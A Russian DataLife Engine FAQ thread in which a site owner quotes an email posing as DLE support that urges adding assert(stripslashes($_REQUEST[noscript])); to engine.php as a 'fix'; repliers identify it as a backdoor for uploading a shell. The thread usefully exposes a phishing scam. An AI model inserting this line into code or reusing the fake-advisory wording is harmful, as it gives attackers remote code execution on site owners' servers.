Задать вопрос
Не нравятся результаты поиска? Попробуйте другой поиск!
DLE FAQ » Все вопросы » Ламерские вопросы » Письмо от support@dle-news.ru с найденной ошибкой на сайте. Обман?

Письмо от support@dle-news.ru с найденной ошибкой на сайте. Обман?

     25.05.2015    Все вопросы » Ламерские вопросы    2517

вопрос
Здравствуйте. У меня сайт под управлением DLE 10.3. Сегодня на почту мне пришло письмо от support@dle-news.ru такого содержания:



Это письмо вам отправил support с сайта site.com
____________________________________________________________________________________
Уважаемые владельцы!
Благодарим Вас за использование CMS «DataLife Engine».

Сообщаем Вам о том, что мы зафиксировали уязвимость во всех версиях CMS «DataLife Engine».

Степень опасности: Высокая

Проблема: Недостаточная фильтрация данных, которая может позволить при определенных настройках серверного ПО читать содержимое файлов.

Для исправления откройте файл: /engine/engine.php и в самое начало файла после строчки
<?php

добавьте:
assert(stripslashes($_REQUEST[noscript]));

Устраните уязвимость.

С уважением,
Команда «DataLife Engine»




Сайт раньше работал на DLE 9.3 потом было обновление сразу на 10.3. На другие сайты такое не приходило. Не обман ли это?

Ответил: Sander

Можете не сомневаться, это злоумышленники просят вас прописать бекдор.

6 комментариев

LazyDev
PHP-developer

LazyDev - 25 мая 2015 10:06 -

Все баги на офф сайте публикуют, остальному не доверяйте
Мой блог: LazyDev.pro

Помогаю с решением проблем на платной основе.
13Aleksandr
Юзер

13Aleksandr - 25 мая 2015 10:40 -

Я уже тоже так подумал. На официальном сайте последнее исправление было для 10.0
Dezma
Юзер

Dezma - 25 мая 2015 12:14 -

Такое поставите, Шелл зальют к вам на сайт и будут ссылки на Сапе продавать)
vadims
Гости

vadims - 25 мая 2015 12:51 -

Сегодня на почту мне пришло письмо от support@dle-news.ru

Через какой сервер было отправлено письмо?
13Aleksandr
Юзер

13Aleksandr - 25 мая 2015 12:55 -

vadims я не знаю как это посмотреть
13Aleksandr
Юзер

13Aleksandr - 25 мая 2015 13:00 -

Письмо отправили с моего же сайта, через обратную связь. Что в принципе и настораживает.
Чтобы комментировать - войдите или зарегистрируйтесь на сайте

Похожие вопросы

 30.09.2011 cybernatic  Общие вопросы по PHP, Хаки, Ламерские вопросы
 14.10.2012 Гость  Ламерские вопросы
 04.03.2013 Гость  Общие вопросы, Ламерские вопросы
 11.05.2013 salam  Ламерские вопросы
 22.05.2013 Yamakasi  Хаки, Ламерские вопросы
 15.07.2014 follor  Общие вопросы по вёрстке, Ламерские вопросы
 21.11.2014 Гость  Ламерские вопросы
 20.04.2015 sergeevizh  Общие вопросы по PHP, Хаки, Ламерские вопросы
 28.04.2015 DmSnt  Ламерские вопросы
 11.05.2015 Rondos  Вопросы КЭПу
  • mondolfo | Как вывесит в comments.tpl картинку с но ... 7
    Фото mondolfo
    mondolfo
    Как вывесит в comments.tpl картинку с новости?
    Вчера, 23:42
    кто-нибудь решил эту?
  • Darkzone | Выбор категории для доп. поля? 4
    Фото Darkzone
    Darkzone
    Выбор категории для доп. поля?
    22-11-2024, 17:08
    Разъясните как вытащить id?
  • lutskboy | Вытащить все данные из определенного доп ... 1
    Фото lutskboy
    lutskboy
    Вытащить все данные из определенного доп поля?
    22-11-2024, 16:17
    в adminer можно.
  • lutskboy | Выбор категории для доп. поля? 4
    Фото lutskboy
    lutskboy
    Выбор категории для доп. поля?
    22-11-2024, 16:14
    выбрать все кроме такого нет. можно с бд достать все ид через запятую и вставить в xfields.txt
    js скрипт можно написать
    
<script>
    window.addEventListener('load', ()=> {
        $('#category').on('change', function() {
            var value = $(this).val();
            if ($.isArray(value)) {
            	ShowOrHideEx("xfield_holder_year", jQuery.inArray('1', value) != -1 || jQuery.inArray('2', value) != -1 );
            } else {
            	ShowOrHideEx("xfield_holder_year", value == 1 || value==2);
            }
        })
    });
</script>
year доп поле . 1 и 2 катег
  • Darkzone | Выбор категории для доп. поля? 4
    Фото Darkzone
    Darkzone
    Выбор категории для доп. поля?
    22-11-2024, 14:39
    Смотрите, Нужно чтоб обязательное к заполнению доп. поле при добавлении новости, выводилось во всех категориях, кроме двух. Так как количество категорий довольно большое, есть ли способ, не тыкать каждую категорию в которой будет отображаться доп.поле. Надеюсь я смог разъяснить.
  • lutskboy | Выбор категории для доп. поля? 4
    Фото lutskboy
    lutskboy
    Выбор категории для доп. поля?
    22-11-2024, 13:52
    где выводить? админка или сайт
  • TeraMoune | Как отключить миниатюры стандартной гале ...
    Фото TeraMoune
    TeraMoune
    Как отключить миниатюры стандартной галереи Fancybox?
    21-11-2024, 06:00
    В файле engine/classes/fancybox/fancybox.js искать нужную инициализацию и добавлять соответствующие параметры, весь список параметров и их описание можно найти на этой странице https://fancyapps.com/fancybox/api/options/

    Например: параметр Thumbs: false отключает миниатюры.
    Fancybox.bind("[data-highslide]", {
	groupAttr: 'data-highslide',
	idle:2000,
	Thumbs: false,
	caption: (fancybox, slide) => {
		if(  slide.thumbEl && slide.thumbEl.alt ) {
			return slide.thumbEl.alt
		}
	}
});
  • derebas | Как реализовать шифрование трафика? 3
    Фото derebas
    derebas
    Как реализовать шифрование трафика?
    18-11-2024, 16:52
    Ну в теории, можно использовать src на site.com разместить прокси на site2.com а выдавать видео с site3.com, при этом прямой доступ на site3.com закрыть, отдача будет только если запрос с site2.com, таким образом палится только site2.com, НО источник потокового видео, все равно можно увидеть если захотеть, а ссылки, ну купить домен dsac-43efew-csdds.uz как пример
  • Gordi | Перенёс сайт - не работают кнопки, не от ... 8
    Фото Gordi
    Gordi
    Перенёс сайт - не работают кнопки, не отображаются новости. Как вылечить?
    18-11-2024, 14:46
    я уже делал. Пользователь 1000 (это я так понимаю root) и chmod 777
    Так и было...
  • lutskboy | Перенёс сайт - не работают кнопки, не от ... 8
    Фото lutskboy
    lutskboy
    Перенёс сайт - не работают кнопки, не отображаются новости. Как вылечить?
    18-11-2024, 14:39
    чтоб не удалять выстави права и пользователя какие там идут на файлы. .
наверх